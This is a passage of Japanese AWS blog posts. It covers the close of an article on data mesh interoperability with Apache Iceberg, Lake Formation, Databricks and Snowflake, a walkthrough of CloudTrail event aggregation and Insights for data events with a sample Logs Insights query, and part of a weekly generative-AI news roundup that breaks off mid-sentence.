カタログは、外部クエリエンジンを使用して Iceberg テーブルを読み取ることができる Apache Iceberg REST API を公開しています。Snowflake Open Catalog は Apache Polaris の管理バージョンですが、顧客はApache Polaris を直接セルフホストすることもできます。詳細については、 Snowflake Open Catalog の使用開始 を参照してください。 2. クロスアカウント認証と認可 Snowflake Open Catalog 認証情報提供メカニズムは、Open Catalog　メタデータと Apache Iceberg テーブルストレージロケーションの両方のアクセス管理を一元化します。有効にすると、Open Catalog はクエリエンジンにテーブルデータにアクセスするための一時的なストレージ認証情報を提供し、ストレージアクセスを個別に管理する必要性を排除します。具体的な手順については、 Snowflake Open Catalog 認証情報提供 と 外部カタログの認証情報提供を有効にする を参照してください。 単一の Horizon カタログエンドポイントを使用して新規または既存の Snowflake　アカウントで Snowflake の Iceberg テーブルにクエリを実行し、クエリエンジンにテーブルデータにアクセスするための一時的なストレージ認証情報を提供します。 Snowflake Horizon カタログを通じて外部エンジンで Apache Iceberg テーブルにクエリを実行する を参照してください。 データアクセス権限については、GDC は Snowflake 認証情報提供メカニズムではなく、クロスアカウント IAM ロールベースのアクセスパターンを使用して S3 データにアクセスします。顧客は、Lake Formation が一時的な認証情報提供を管理できるように、フェデレーションの一部として S3 バケットストレージへの権限を明示的に設定する必要があります。 3. 分散ポリシーの反映 Snowflake のきめ細やかなアクセス制御を Lake Formation へ複製するには、Snowflake からアクセスポリシーを抽出し、同等の Lake Formation 権限に変換する同期メカニズムが必要です。これらのきめ細やかなアクセスポリシーは、手動で複製するか、両システムを同期させるカスタムビルドソリューションを介して複製することができます。   パターン 要件 統合機能 プロデューサーとしての Databricks （コンシューマーとしての AWS） 1. カタログフェデレーション AWS Glue カタログフェデレーションから Unity Catalogへ 2. データストレージ権限 S3 アクセス用の IAM ロール 3. データポリシーの反映 FGAC ポリシーは手動またはカスタムロジックを介して Lake Formation に複製され、実施される プロデューサーとしての Snowflake （コンシューマーとしての AWS） 1. メタデータフェデレーション AWS Glue カタログフェデレーションで Open Catalog または Horizon Catalog IRC API を使用 2. データストレージ権限 S3 アクセス用の IAM ロール 3. データアクセスポリシー FGAC ポリシーは手動またはカスタムロジックを介して Lake Formation に複製され、実施される 表3. この表は、AWSをデータコンシューマーパターンとして実装する際に、Databricks とSnowflake とのデータ相互運用性を可能にする AWS が提供する統合機能をまとめたものです。 結論 データメッシュアーキテクチャを成功させるには、3つの重要な相互運用性要件に対応する必要があります：クロスカタログメタデータフェデレーション、クロスアカウント認証と認可、そして分散ポリシーの反映です。Apache Iceberg のようなオープンテーブルフォーマットをサポートするパートナーは組織が柔軟で安全かつスケーラブルなデータアーキテクチャを構築できるような補完的な機能を提供しますが、さらに AWS Lake Formation を利用することでデータメッシュ実装のための堅牢な基盤を構築することが可能です。これらのパターンを、Databricks と Snowflake を代表例として使用して実証ました。 Apache Iceberg は、データメッシュアーキテクチャを検討している組織にとって、テーブルフォーマットとして説得力のある利点を提供します。そのクロスプラットフォーム互換性により、異なるクエリエンジン間で一貫したデータアクセスが可能になり、簡素化された認証/認可による効率的な統合オプションを提供します。また、このフォーマットは、スキーマ進化、タイムトラベル機能、ACID トランザクションなどの価値ある機能をサポートしており、分散所有権シナリオでデータの整合性を維持するのに役立ちます。これらの特性により、データメッシュアプローチの実装を検討しているチームにとって、Iceberg は評価する価値があります。 クロスカタログメタデータフェデレーションを実装する ために、AWS とパートナーの機能を活用して分散データ資産の統合ビューを作成し、ドメイン所有権を維持しながらデータ発見をシームレスにします。この重要なバランスにより、金融サービス組織は従来のデータサイロを解消しながら、革新のスピードと規制遵守の両方を維持することができます。 最後に、チームはデータメッシュを実装する前に 組織全体で標準化されたポリシー定義を確立する べきです。プラットフォーム間（AWS Lake Formation、Databricks、Snowflakeなど）で変換できるセキュリティポリシーの共通フレームワークを作成することで、ドメインチームが自分たちのデータ製品を管理する自律性を許容しながら、一貫したガバナンスを維持します。ポリシー標準化は重要な焦点領域であり、共通ポリシー定義フォーマットの確立とクロスエンジンポリシー変換の改善に向けた取り組みが進められています。これらの技術が成熟するにつれて、組織は安全でスケーラブルなデータメッシュアーキテクチャを自信を持って構築し、ドメインチームがデータプロダクトを所有しながら、データエコシステム全体にわたる企業全体のガバナンスと相互運用性を維持することができます。

AWS CloudTrail は、AWS アカウントの API 呼び出しとイベントを記録し、ガバナンス、コンプライアンス、運用上のトラブルシューティングのための監査証跡を提供します。お客様は CloudTrail でデータイベントを有効にすることで、リソースレベルの操作に対するより深い可視性を得ることもできます。これには、 Amazon S3 のオブジェクトレベル操作（GetObject/PutObject など）や AWS Lambda 関数の呼び出しが含まれます。データイベントは、不正アクセスの検出、セキュリティインシデントの調査、およびデータプレーンに関する詳細なアクティビティログを必要とするコンプライアンス要件の充足に役立ちます。 データイベントは、AWS インフラストラクチャにおける重要な監視ポイントになります。Amazon S3 オブジェクトへのアクセス、Amazon DynamoDB の操作、AWS Lambda 関数の呼び出しのいずれにおいても、これらのイベントを理解することはセキュリティ、コンプライアンス、運用の優位性にとって不可欠です。しかし、これらのイベントは膨大な量のデータを生成する可能性があり、ダウンストリームワークフローのコストとストレージ要件の増大を招く恐れがあります。組織はこの点に関して難しい課題に直面することがよくあります：多くの組織は、ダウンストリームシステムに送信されるデータ量を削減することが困難であったり、データイベントの異常を特定したり、異常が発生した際に迅速に対応することに苦労しています。これらの課題は、不必要なコスト負担を生み出し、トラブルシューティングの取り組みを遅らせ、潜在的なセキュリティリスクを放置してしまう可能性をもたらします。 本日、データイベントの監視と対応方法を変革する AWS CloudTrail の強力な新機能を 2 つご紹介できることを嬉しく思います：CloudTrail データイベント用の イベント集約 と Insights です。各機能は、お客様のそれぞれのニーズに対応します。イベント集約は、ダウンストリームワークフローのデータ量を最適化し、API アクティビティの変化パターンを特定しやすくします。そして CloudTrail Insights は、データイベントの異常を特定し、セキュリティ監視を強化するのに役立ちます。インフラストラクチャコストの最適化、コンプライアンス要件の充足、セキュリティインシデントの調査といった目的に対して、これらの新機能は、大量のログデータでチームを圧倒することなく、適切なソリューションを提供します。 この記事では、これらの新機能がどのように機能するかを紹介し、データイベントを分析して実用的なインサイトを作成する方法を説明します。 前提条件 このウォークスルーには、データイベントが有効になっている既存の CloudTrail 証跡が必要です。新しい証跡を作成する際に、集約イベントと Insights イベントを直接有効にすることもできます。また、これら 2 つの新機能は CloudTrail の追加コストが発生します。料金の詳細については、 AWS CloudTrail の料金 をご覧ください。 注意： イベント集約とデータイベント用インサイトを使用するには、証跡でデータイベントを有効にする必要があります。 イベント集約 データイベント用の CloudTrail イベント集約の設定 CloudTrail イベント集約は、データイベントを 5 分間のサマリーに統合し、アクセス頻度、エラー率、最も頻繁に使用された API アクションなどの主要なトレンドに対する可視性を提供します。この要約アプローチは、セキュリティ監視、運用監視にとって重要なインサイトを維持しながら、ダウンストリームの分析システムに送信されるデータ量を大幅に削減します。 このサンプルシナリオでは、データイベントを有効にしている既存の証跡に対して集約を有効化する方法を説明します。 CloudTrail コンソール に移動します。 左側のナビゲーションメニューで、 証跡 を選択します。 CloudTrail イベント用の 証跡 を選択します。 Aggregated events で、 編集 を選択します。 Aggregation template で、サービスが提供する以下のテンプレートから任意のものを選択して、データイベントを集約できます。 API Activity ：API 呼び出しのデータイベントに関して、5 分単位のサマリーを取得します。このテンプレートを使用することで、頻度、呼び出し元、ソースを含む API の使用パターンを理解できます。 Resource Access ：AWS リソースのアクティビティパターンを取得します。このテンプレートを使用することで、AWS リソースがどのようにアクセスされているか、5 分間のウィンドウで何回アクセスされているか、誰がリソースにアクセスしているか、どのようなアクションが実行されているかを理解できます。 User Actions ：API 呼び出しを行う IAM プリンシパルに基づいたアクティビティパターンを取得します。 図 1：AWS CloudTrail 集約イベント 変更の保存 を選択します。 CloudTrail は証跡に設定されているリソースに関して、全てのデータイベントの集約を開始します。（ 補足： この機能は、新しい証跡を作成する際にも設定できます）。 CloudTrail 集約イベントの分析 集約イベントは、証跡に設定した S3 バケット内の CloudTrail-Aggregated フォルダに配信されます。その後、 Amazon Athena を使用して S3 バケットからこれらのイベントをクエリしたり、CloudTrail イベントを CloudWatch Logs に配信している場合は CloudWatch Logs Insights を使用することもできます。 CloudWatch Logs Insights を使用して、API アクティビティの集約イベントをクエリし、5 分間の API アクティビティの集約カウントを表示する方法を見てみましょう。次に、全体的なアクティビティに寄与したユーザー ID とリソースを表示します。 CloudWatch コンソール に移動します。 左側のナビゲーションメニューで、 Logs Insights を選択します。 Query definition セクションで、 SQL を選択します。 以下のクエリをコピーして、エディタウィンドウに貼り付けます。（注意： [Log Group] を CloudTrail 用のロググループ名に置き換える必要があります）。 SQL クエリ： SELECT accountId, awsRegion, `summary.primaryDimension.dimension` as Dimension, `timeWindow.windowStart` as `Start Time`, `timeWindow.windowEnd` as `End Time`,`summary.details.3.statistics.0.name` as sourceIpAddress, `summary.primaryDimension.statistics.0.name` as eventName, `summary.primaryDimension.statistics.0.value` as Count, `summary.details.1.statistics.0.name` as userIdentity, `summary.details.0.statistics.0.name` as resource, `summary.details.0.statistics.0.value` as `Resource Count` FROM `[Log Group]` Where `eventCategory` = 'Aggregated' and `summary.primaryDimension.dimension` = 'eventName' ORDER BY `timeWindow.windowStart`, `timeWindow.windowEnd` DESC; クエリの実行 をクリックすると、結果が表示されます。 図 2： CloudWatch Logs Insights のクエリ結果 クエリ結果には、集約イベントの各期間で実行された API アクションと全体のカウントが表示されます。また、API アクティビティの全体カウントに寄与したユーザーとリソースに関して、追加の統計情報も表示されます。さらに、追加の分析のために Resource Access および User Access 集約テンプレートに関連するイベントに対して、同じ要領でクエリを実行することもできます。 サブスクリプションフィルターによる集約イベントのダウンストリームへの送信 イベント集約は、データイベントを 5 分間のサマリーに統合し、全体のカウントを提供するとともに、イベント集約中にキャプチャされた全体カウントに寄与したユーザー ID、API アクティビティ、またはリソースに関する主要な統計情報を表示します。イベント集約レコードのフィールドに関する詳細は、 集約イベントの CloudTrail レコードの内容 のドキュメントを参照してください。イベント集約がデータイベントと比較して配信するイベント量を削減している例を以下に示します。 図 3：CloudTrail におけるデータイベント数と集約イベントの総数の比較 CloudTrail ログに対してサブスクリプションフィルターを作成し、CloudWatch Logs から Kinesis Data Streams、Amazon Data Firehose、Lambda 関数、または Amazon OpenSearch Service などの宛先にデータイベントではなく集約イベントを送信することで、ダウンストリームのシステムに送信されるデータ量を削減できます。 CloudTrail の管理イベントと集約イベントのみを送信するサブスクリプションフィルターの設定方法を見てみましょう。 CloudWatch コンソール に移動します。 左側のナビゲーションメニューで、 ロググループ を選択します。 CloudTrail に使用されているロググループを選択します。 サブスクリプションフィルター タブを選択します。 作成 を選択し、Amazon Kinesis Data Streams、AWS Lambda、Amazon Data Firehose、または Amazon OpenSearch Service のいずれかを選択します。 次に、サブスクリプションフィルターに以下のログ形式とフィルターパターンを使用します。 ログの形式 : JSON サブスクリプションフィルターのパターン：  { ($.eventCategory = “Management”) || ($.eventCategory = “Aggregated”) } 図 4：CloudWatch サブスクリプションフィルター データイベントのインサイト データイベントに対する CloudTrail Insights の設定 AWS CloudTrail Insights は、CloudTrail イベントを分析することで、AWS アカウント内の異常な API アクティビティのパターンを自動的に検出する高度な機能です。以前は管理イベントのみが対象でしたが、現在はデータイベントに対しても、アカウントの通常時と大きく異なる使用パターンを識別できるようになりました。機能を有効化すると、CloudTrail Insights は API コールレートとエラーレートを監視し、リソースプロビジョニングの突然の急増、アクセスパターンやエラーレートなどに関する異常を検出したときに Insights イベントを生成します。 このサンプルシナリオでは、既存の CloudTrail 証跡に対してデータイベント用の Insights イベントを設定する方法を説明します。 CloudTrail コンソール に移動します。 左側のナビゲーションメニューで、 証跡 を選択します。 CloudTrail イベントの 証跡 を選択します。 Insights イベント の 編集 を選択します。 Data events Insights types で、以下のオプションを選択できます。 API コールレートインサイト – 1 分あたりに発生するデータ API 呼び出しの数が API コールレートのベースラインから逸脱したときにインサイトを生成します。書き込み操作に関するデータ API 呼び出しのみを計測します。 API エラーレートインサイト – 失敗してエラーを返したデータ API 呼び出しの数がエラーレートのベースラインから逸脱したときにインサイトを生成します。読み取りと書き込みの両方のデータ API 呼び出しを計測します。 図 5：データイベントに対する Insights イベントの設定 Insights イベントを有効にすると、CloudTrail はまず通常のアクティビティパターンのベースラインを確立する必要があり、最初の Insights イベントが配信されるまでに最大 36 時間かかることがあります。また、Insights イベントを無効にしてから再度有効にした場合や、証跡のログ記録を停止してから再開した場合も、同様に Insights イベントの配信が再開されるまでに最大 36 時間かかる可能性があります。 データイベントに対する CloudTrail Insights の分析 CloudTrail Insights イベントは、標準の CloudTrail イベントとは異なり、CloudTrail がアカウントの通常の API アクティビティのパターンからの逸脱を検知した場合にのみ生成されます。コンソールを通じてインサイトイベントを表示する方法を見てみましょう： CloudTrail コンソール に移動します。 左側のナビゲーションメニューで、 Insights を選択します。 Data events タブを選択して、インサイトイベントのリストを表示します。 リストから Insights イベントを選択して、詳細を表示します。 図 6：CloudTrail Insights の Insights イベントの一覧 Insights イベントの詳細ページには、異常なアクティビティのタイムラインのグラフが表示されます。 図 7：Insights イベントの詳細 さらに、CloudWatch メトリクスフィルターや Event Bridge ルールを使用して、特定のインサイトパターンに基づいてアラームと通知を設定できます。設定方法の詳細については、ブログ記事 Leveraging AWS CloudTrail Insights for Proactive API Monitoring and Cost Optimization および Analyzing AWS CloudTrail in Amazon CloudWatch をご覧ください。 クリーンアップ 追加料金の発生を防ぐため、このウォークスルー中に作成した CloudTrail Insights と集約イベントの設定を削除してください。 まとめ CloudTrail イベント集約とデータイベントの Insights は、さまざまなお客様のニーズに対応する強力な新機能を提供します。CloudTrail 集約イベントは、CloudTrail のデータをダウンストリームワークフローに送信するお客様向けのソリューションを提供し、必要な可視性を維持しながらデータ量と関連コストの削減を支援します。CloudTrail Insights は、異常やパターンを明確に特定するために必要なコンテキストを提供し、セキュリティチームと運用チームが手動分析なしで異常なアクティビティを検出できるよう支援します。この記事では、データ処理パイプラインを最適化する CloudTrail イベント集約の設定方法と、異常なアクティビティパターンを自動的に検出し、CloudWatch メトリクスフィルターを使用してアラートを作成するためのデータイベント用 CloudTrail Insights の設定方法を説明しました。これらの新しい CloudTrail の機能が、セキュリティ体制の強化やコストの最適化にどのように役立つか詳しく知るには、 AWS CloudTrail ドキュメント をご覧ください。 本ブログは Solutions Architect の 加藤 が翻訳しました。原文は こちら です。

みなさん、こんにちは。AWS ソリューションアーキテクトの木村です。 週末は千葉県のキャンプ場で綺麗な夜空を見て気分をリフレッシュし、きたる re:Invent 2025 に備えていました。 そう、今週はついに re:Invent 2025 ですね！どんな発表があるのか私自身もとても楽しみです！ 毎年おなじみAWS Japanから提供する re:invent 速報を今年も開催いたします。ぜひ こちらのページ より事前登録をお願いいたします。 先日 2つの新しいプランを追加した「 AWS ジャパン生成 AI 実用化推進プログラム 」も非常に多くの申し込みをいただいています。引き続き募集中ですのでよろしくお願いします。 それでは、11 月 24 日週の生成 AI with AWS界隈のニュースを見ていきましょう。すでに多くの update が出ているためカテゴリーに分けて記載しています。 さまざまなニュース お客様事例・実践レポート AWS生成AI国内事例ブログ「東京海上日動システムズ株式会社様の AWS 生成 AI 事例：全社生成 AI 実行基盤とエンタープライズ RAG システムの構築」 東京海上日動システムズ様における全社向け生成 AI 実行基盤の構築事例を紹介しています。マルチアカウント構成による基盤設計の考え方や、RAG システムにおける技術選定と実装の工夫、コスト最適化の取り組みなど、企業での生成 AI 活用を検討される際の参考となる内容です。 AWS生成AI国内事例ブログ「グラフデータを使用した Network Digital Twin と Agentic AI を活用した被疑箇所の特定」 NTTドコモ様とAWSは、通信ネットワークの複雑な障害における根本原因分析を革新するため、Amazon NeptuneグラフデータベースによるNetwork Digital TwinとAgentic AI（Strands Agents + Amazon Bedrock AgentCore）を組み合わせたソリューションを開発しました。従来の相関関係ベースのアプローチから因果関係を捉えるアプローチへと転換し、ネットワークトポロジー、アラーム、KPIをリアルタイムにグラフ構造化したネットワークナレッジレイヤーと、4つのRunbookデザインパターン（基本的なグラフ分析、既知パターンマッチ、異常検知融合、予測値からの乖離検出）によるAgentic AIワークフローを実装しています。NTTドコモの商用ネットワークでの検証では、トランスポートネットワークおよび無線アクセスネットワークにおける複雑な障害ケースで15秒のMTTD（平均検知時間）を実現し、従来の数時間かかっていた根本原因特定プロセスを短縮しました。詳細なアーキテクチャと4つのRunbookパターンの実装方法をブログでチェックしてみてください。 ブログ記事「株式会社 LIFULL 様の AI-DLC Unicorn Gym 実践レポート: 組織的な AI 活用による開発生産性向上」 LIFULL 様とAWSの共同執筆により、AI 駆動開発ライフサイクル（AI-DLC）Unicorn Gym の実践を通じて得られた学びとその後の変化をお伝えしています。LIFULL様は AWS の ソフトウェア開発生成 AI アシスタントである Amazon Q Developer を全社的に活用し、エンジニアだけでなく企画職の方も業務の生産性向上に取り組まれています。個人単位でのAI Agentの活用は着実に進んでいますが、次のステップとして組織でどう活用していくかはまだ検討段階にありました。組織的な活用をさらに進めるため、LIFULL 様と AWS で AI-DL Unicorn Gym と呼ばれるワークショップに取り組み、AI-DLC の有効性を確認しました。ブログでは AI-DLC Unicorn Gym の成果と、実施後の開発にどのような変化があったのかをお伝えしています。 Kiroweeeeeeek in Japan Day6 – Amazon Q Developer CLI から Kiro CLI へ : 知っておくべき変更点 Amazon Q Developer CLIが Kiro CLI へと進化し正式リリースされました。GoogleやGitHubアカウントでのログインが可能になったほか、開発効率を大幅に向上させる新機能が追加されています。ブログでは、Kiro の一般提供で利用可能になった Kiro CLI に焦点を当て、「Amazon Q Developer CLI から Kiro CLI で何が変わったの？」という疑問をお持ちの方へ変更点や新機能を紹介しています。 Day7 – イベントストーミングから要件・設計・タスクへ。Kiro を活用した仕様駆動開発 イベントストーミングは、ビジネスの流れを可視化し、業務のエキスパートや開発メンバーが同じ理解を持てるようにするためのプラクティスです。Big Picture を使ってサブドメイン間の関係性を整理したり、業務内容をコードに落とし込むための設計に活用したりと、業務分析から設計まで幅広く役立ちます。しかし、イベントストーミングで得られた成果物を「どこから実装に落とし込むのか」「どうテストするのか」といった部分は、開発者がつまずきやすいポイントではないでしょうか。ブログでは、Kiro の Spec 機能を活用して、イベントストーミングの成果物を要件定義・設計・実装タスクへと変換していくプロセスを紹介しています。 Day8 – Kiro における負債にならない Spec ファイルの扱い方 Kiro の Spec ファイルは「仕様駆動開発」を構成する要素です。Spec ファイルにより仕様を起点として設計・実装を進めることができ、仕様と実装の同期を保ちながら開発を進めることができます。このように Spec ファイルは Kiro の中核をなす要素なのですが、適切に扱わないと負債になってしまう可能性があります。ブログでは、「Spec ファイルの切り方」「Spec ファイルの更新方法」「Spec ファイルの共有方法」の 3 つの視点から、負債にならないための工夫を紹介していま。 Day9 – AWS Japan の新卒が Kiro でマネコン上の操作を支援する Chrome 拡張機能をチーム開発してみた！ Kiroは個人開発に強いツールという印象があるかもしれませんが、実はチーム開発でも十分に力を発揮できます。本記事では、AWS Japanの新卒メンバー4名が約2ヶ月でAWSマネジメントコンソールの操作を支援するChrome拡張機能を開発した実践例を通じて、ステアリング機能によるコーディング規約の統一、MVP思考でのSpec分割による適切なタスク粒度の維持、そしてバージョン情報を含めた技術選定の明確化など、チーム開発で必要な具体的なノウハウを詳しく解説しています。 Day10 – スピードと品質の両立 – Kiro が加速する開発、GitLab AI が支えるレビュー。新時代の開発パートナーシップ設計 AI 駆動開発の新常識。Kiroによる開発速度の飛躍的向上は、同時にコードレビューの負荷増大という課題をもたらします。ブログでは、GitLab Duo Self-Hosted（Amazon Bedrock活用）とKiroを組み合わせることで、この課題を解決する新しいワークフローを提案しています。発注元と開発が分離している開発現場で、スピードと品質を両立させる持続可能なパートナーシップモデルを知りたい方は、ぜひチェックしてください。 Kiro をはじめる第一歩：あなたに合った学習パスを見つける 「Kiroweeeeeeek in Japan」の最終号となるこのブログでは、12日間で公開された全10個のコンテンツを振り返りながら、読者の状況や関心に合わせた学習パスをガイドします。「Kiroを初めて使う人」「Amazon Q Developerから移行したい人」「組織での導入を検討している人」「実践的な使い方を知りたい人」の4つのペルソナ別に、どのコンテンツから読み始めるべきかを紹介しています。これからKiroを始める方、より深く活用したい方は、ぜひ本記事で自分に最適な学習パスを見つけて、新しい開発の旅を始めてください。 その他のKiro関連 ブログ記事「Kiro における Opus 4.5 をご紹介」 KiroでAnthropicの最新かつ最も高性能なモデルClaude Opus 4.5のサポートが開始されました。Kiro IDEとKiro CLIで利用可能なこの新しいモデルの詳細や、クレジット倍率などの情報について、ぜひブログををチェックしてください。 ブログ記事「Kiro クレジットをより有効活用する方法」 KiroのAutoエージェントが効率化され、高品質を維持しながらクレジット使用量を削減できるようになりました。新バージョンのAutoでは、日常的な一般的なリクエストでクレジット使用量が21%削減され、最も複雑で要求の厳しいリクエストでは36%もの削減を実現しています。まだAutoを試していない方は今が始める絶好のタイミングですので、ぜひブログで詳細をチェックしてみてください。 ブログ記事・開催報告 ブログ記事「第 5 回 AWS ジャパン 生成 AI Frontier Meetup ～学びと繋がりの場～【開催報告】」 2025年11月17日に開催された第5回生成AI Frontier Meetupでは、累計250社超を支援する「生成AI実用化推進プログラム」の参加企業や基盤モデル開発者が一堂に会し、最新の取り組みを共有しました。生成AIの社会実装に向けた具体的な学びと参加者同士の交流が活発に行われた有意義なイベントの開催報告を是非チェックしてみてください。 ブログ記事「AI ワークロードのパフォーマンスとコストの一致に役立つ新しい Amazon Bedrock サービスティア」 Amazon BedrockにPriority、Standard、Flexの3つのサービスティアが導入され、ワークロードの特性に応じた柔軟なコスト最適化が可能になりました。Priorityティアは他のティアよりも最大25%優れたOTPS (1 秒あたりの出力トークン数) レイテンシーを実現し、カスタマーサービスチャットやリアルタイム翻訳などミッションクリティカルなアプリケーションに最適で、Standardティアはコンテンツ生成やテキスト分析などの日常的なAIタスクに通常料金で一貫したパフォーマンスを提供し、Flexティアはモデル評価やコンテンツ要約、エージェンティックワークフローなど長いレイテンシーに対応できるワークロードに低料金で優れたコスト効率を実現します。APIコールごとにティアを選択できるため、即時応答が必要なワークロードと段階的処理が可能なワークロードを識別して最適化することで、パフォーマンス要件を満たしながら支出を効果的に管理できますので、ぜひ本記事をチェックしてください。 ブログ記事「オープンウェイトモデル（ gpt-oss ）の日本語精度は？ – AWS パートナー アクロクエストによる徹底検証」 2025年8月にAmazon Bedrock上で利用可能になったOpenAIのオープンウェイトモデル「gpt-oss」」の日本語能力を、AWSパートナーのアクロクエストテクノロジー様に検証いただきました。XL-Sum（要約）、JEMHopQA（論理的推論）、JSQuAD（RAG/文章理解）の3つのデータセットで検証しClaude Sonnet 4.5、Claude Haiku 3.5/4.5、Llama 4 Scout 17B-16Eとの比較をしています。モデル選定に役立つ指針になっていますので是非チェックしてみてください。 ブログ記事「Amazon SageMaker Catalog の新しいビジネスメタデータ特徴量により、組織全体で発見をより容易にする」 Amazon SageMaker Catalogに組織全体でのデータ発見性を向上させる2つの新機能が追加されました。1つ目の「列レベルのメタデータフォームとリッチテキスト説明」では、個々の列に対してカスタムメタデータフォームを作成し、マークダウン対応のリッチテキストで包括的なデータ文書化が可能になります。2つ目の「アセット発行時の用語集メタデータルール適用」では、データ作成者が発行前に組織の用語集で承認されたビジネス用語を使用してアセットを分類することを必須化でき、一貫したメタデータ標準を促進してコンプライアンス強化と監査準備を向上させます。具体的な設定方法や活用シーンについてブログでチェックしてみてください。 ブログ記事「Amazon SageMaker Unified Studio の新しいワンクリックオンボーディングと組み込み AI エージェントを含むノートブック」 Amazon SageMaker Unified Studioに既存のAWSデータセットへの迅速なアクセスを実現する3つの新機能が追加されました。「ワンクリックオンボーディング」では既存のIAMロールと許可を使用してAWS Glue データカタログ、AWS Lake Formation、Amazon S3のデータ許可を備えたプロジェクトを自動作成します。「直接統合」ではAmazon SageMaker、Amazon Athena、Amazon Redshift、Amazon S3 Tablesのコンソールから直接起動して分析とAIワークロードへの迅速なパスを提供します。「組み込みAIエージェントを含むノートブック」では、Amazon SageMaker Data Agentが自然言語プロンプトからSQL、Python、Sparkコードを生成してデータエンジニア・アナリスト・データサイエンティストの開発を加速し、Amazon Athena Spark、AWS Glue Spark、Amazon MWAAなどのサーバーレスコンピューティングも自動作成されてプロビジョニング不要でジャストインタイムのリソース利用とコスト削減を実現します。具体的なセットアップ手順やAIエージェントの活用例をブログチェックしてみてください。 サービスアップデート 生成AIを組み込んだ構築済みアプリケーション Amazon Quick Suite Embedded Chat が利用可能になりました Amazon Quick Suite Embedded Chat の一般提供を開始しました。これまで別々のツールで対応していた構造化データと非構造化データの検索を、一つの会話型 AI で統合できるようになります。CRM や分析ポータルなどの既存アプリケーションに簡単に埋め込み可能で、ユーザーは作業環境を離れることなく KPI の確認からファイル検索、Slack 送信まで実行できます。バージニア北部、オレゴン、シドニー、アイルランドリージョンで利用可能で追加料金はありません。詳細は こちらの Blog 記事 をご参照ください。 Amazon Quick Suite が Quick Flows のスケジューリング機能を導入 Amazon Quick Flows でスケジューリング機能が利用可能になりました。これまで手動で実行していたワークフローを、指定した時間や間隔で自動実行できるようになります。日次、週次、月次またはカスタム間隔で設定でき、定期レポートの生成やタスクサマリー作成、会議資料の準備などの繰り返し業務を効率化できます。バージニア北部、オレゴン、アイルランドリージョンで利用でき、 Quick Flows の標準料金以外の追加費用はかかりません。詳細は こちらのドキュメント をご参照ください。 Amazon Quick Research に信頼できるサードパーティ業界インテリジェンスが追加 Amazon Quick Research で、サードパーティの業界データにアクセスできるようになりました。S&P Global や FactSet、IDC などの専門データプロバイダーのデータを、企業の内部データやリアルタイム Web 検索と組み合わせて分析できます。これまで複数のプラットフォームを行き来する必要があった作業が、一つのワークスペースで完結するため、金融アナリストは投資判断を、エネルギーチームは取引戦略を、営業チームはトレンド分析を効率的に行えます。バージニア北部、オレゴン、シドニー、アイルランドリージョンで利用可能です。 詳細はこちらのドキュメント をご参照ください。 アプリケーション開発のためのツール Claude Opus 4.5 が Amazon Bedrock で利用可能になりました Amazon Bedrock で Claude Opus 4.5 が利用可能になりました。Anthropic の最新モデルで、従来の Opus レベルの高性能を 1/3 のコストで実現できます。プロフェショナルなソフトウェア開発タスクで最先端の性能を発揮し、通常複数日かかるチーム開発を数時間に短縮することが可能になります。コーディングだけでなく、文書やスプレッドシート、プレゼンテーション作成でも威力を発揮し、金融などの精度重視の業界に最適です。新機能として tool search と tool use examples が追加され、複雑なタスクを正確に実行できるようになりました。詳細は こちらの Blog 記事 をご参照ください。 Amazon Bedrock が Reserved Service Tier を導入 Amazon Bedrock で新しい Reserved Service tier が提供開始されました。予測可能なパフォーマンスと保証された tokens-per-minute 容量を提供し、ミッションクリティカルなアプリケーションのサービスレベルを安定させることができます。入力と出力の token 容量を個別に調整できるため、要約タスク (多くの入力、少ない出力) やコンテンツ生成 (少ない入力、多くの出力) など、非対称な token 使用パターンに最適化できます。容量不足時は自動的に Standard tier にオーバーフローし、運用を継続します。現在 Anthropic Claude Sonnet 4.5 で利用可能で、1 ヶ月または 3 ヶ月の期間で予約できます。詳細は こちらのドキュメント をご参照ください。 基盤モデルのトレーニングと推論のためのインフラストラクチャー Amazon SageMaker HyperPod が生成 AI タスク向けに NVIDIA Multi-Instance GPU (MIG) をサポート開始 Amazon SageMaker HyperPod で NVIDIA Multi-Instance GPU (MIG) 技術がサポートされました。この機能により、1 つの GPU を複数の独立した GPU に分割して、複数の生成 AI タスクを同時実行できます。従来は GPU 全体を 1 つのタスクで占有する必要がありましたが、今回のアップデートで小さなタスクでも効率的にリソースを活用できるようになりました。データサイエンティストは軽量な推論タスクやノートブック実行時の待機時間を削減でき、開発スピードが向上します。詳細は こちらのドキュメント をご参照ください。 Amazon SageMaker HyperPod が Spot インスタンスをサポート開始 Amazon SageMaker HyperPod で Spot Instances がサポートされ、GPU 計算コストを最大 90% 削減できるようになりました。Spot Instances は AWS の余剰 EC2 キャパシティを安価で利用する仕組みで、大規模な AI ワークロードのコスト最適化に効果的です。オンデマンドインスタンスと組み合わせることで、コスト削減と可用性のバランスを取れます。詳細は こちらのドキュメント をご参照ください。 Amazon SageMaker AI Inference が双方向ストリーミングをサポート開始 Amazon SageMaker AI Inference で双方向ストリーミング機能が提供開始されました。例えば音声をリアルタイムでテキストに変換し、ストリーミングで文字起こし結果を取得することが可能になります。従来は複雑な WebSocket 実装が必要でしたが、新しい Bidirectional Stream API を使えば簡単に音声エージェントを構築できます。チャットボットや音声アシスタントの開発において、遅延を最小限に抑えた自然な会話体験を実現可能です。詳細は こちらの Blog 記事 をご参照ください。 Amazon SageMaker AI が EAGLE speculative decoding をサポート開始 Amazon SageMaker AI が EAGLE speculative decoding をサポート開始しました。EAGLE (Extrapolation Algorithm for Greater Language-model Efficiency) speculative decodingとは、複数のトークンを並列で生成および検証することで推論スループットを最大2.5倍向上させる技術です。AI アプリケーションの応答時間が改善され、出力品質を維持しながら高速な推論が可能です。東京リージョンを含む 7 つのリージョンで利用できます。詳細は こちらの Blog 記事 をご参照ください。 Amazon SageMaker AI が推論向けの Flexible Training Plans 容量をサポート開始 Amazon SageMaker AI の Flexible Training Plans (FTP) が推論エンドポイントに対応しました。FTP は GPU 容量を事前に予約できるサービスで、これまでは学習のみでしたが推論処理でも利用可能になりました。必要なインスタンスタイプと期間を指定して予約すれば、SageMaker AI が自動でエンドポイントを起動してくれるため、インフラ管理の手間が不要です。モデル評価や本番運用のピーク時に確実に GPU を確保でき、ML 開発サイクルを計画的に進められます。バージニア北部、オレゴン、オハイオリージョンで利用可能です。詳細は こちらの API リファレンス をご参照ください。 Amazon SageMaker HyperPod がプログラマティックなノード再起動と交換をサポート Amazon SageMaker HyperPod で、クラスターノードの再起動・交換を行う新しい API が利用可能になりました。BatchRebootClusterNodes と BatchReplaceClusterNodes API により、応答しなくなったノードや劣化したノードをプログラム的に復旧できます。従来は手動作業が必要でしたが、最大 25 